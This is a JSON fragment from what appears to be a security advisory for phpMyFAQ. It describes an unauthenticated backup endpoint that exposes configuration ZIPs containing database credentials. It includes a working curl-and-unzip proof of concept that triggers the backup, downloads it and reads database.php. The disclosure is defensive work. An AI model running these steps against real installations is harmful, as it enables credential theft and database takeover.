  "details": "### Summary\nAn unauthenticated remote attacker can trigger generation of a configuration backup ZIP via `POST /api/setup/backup` and then download the generated ZIP from a web-accessible location. The ZIP contains sensitive configuration files (e.g., `database.php` with database credentials), leading to high-impact information disclosure and potential follow-on compromise.\n\n### Details\nThe endpoint `/api/setup/backup` is reachable via default rewrite rules and does not enforce authentication/authorization or API token verification. When called with any non-empty body (used as an \u201cinstalled version\u201d string), the server creates a ZIP archive inside the configuration directory and returns a direct URL to the generated ZIP file.\n\nRelevant code paths:\n- Rewrite rule exposing the endpoint:\n  - `phpmyfaq/.htaccess`: `RewriteRule ^api/setup/(check|backup|update-database) api/index.php [L,QSA]`\n- Controller implementation:\n  - `phpmyfaq/src/phpMyFAQ/Controller/Api/SetupController.php` \u2192 `backup()`\n    - No call to `hasValidToken()`, `userIsAuthenticated()`, or any permission check\n- Backup creation:\n  - `phpmyfaq/src/phpMyFAQ/Setup/Update.php` \u2192 `createConfigBackup()`\n    - Writes the ZIP into the config directory and returns a public URL under `content/core/config/`\n\n### PoC\nReplace `BASE_URL` with your instance URL.\n\n1) Trigger config backup generation without authentication:\n\n```bash\nBASE_URL=\"http://localhost\"\ncurl -i -X POST \"${BASE_URL}/api/setup/backup\" \\\n  -H \"Content-Type: text/plain\" \\\n  --data \"4.1.0-RC\"\n```\n\nExpected result: `200 OK` with JSON containing `backupFile`.\n\n2) Copy the `backupFile` URL from the JSON response and download it (still without authentication):\n\n```bash\n# Example (replace with the exact URL returned in step 1)\ncurl -i \"http://localhost/content/core/config/phpmyfaq-config-backup.YYYY-MM-DD.zip\" -o phpmyfaq-config-backup.zip\n```\n\n3) Verify sensitive content exists in the ZIP:\n\n```bash\nunzip -l phpmyfaq-config-backup.zip\nunzip -p phpmyfaq-config-backup.zip database.php\n```\n\nObserved: `database.php` is included and contains DB host/user/password.\n\n### Impact\n- Vulnerability class: Missing authentication/authorization for a sensitive function + sensitive information exposure.\n- Who is impacted: Any internet-exposed phpMyFAQ installation where the default `.htaccess` rewrite rules are active and the endpoint is reachable.\n- Security impact: Disclosure of configuration secrets (DB credentials, integration config, etc.), enabling follow-on attacks such as database takeover and data exfiltration.",
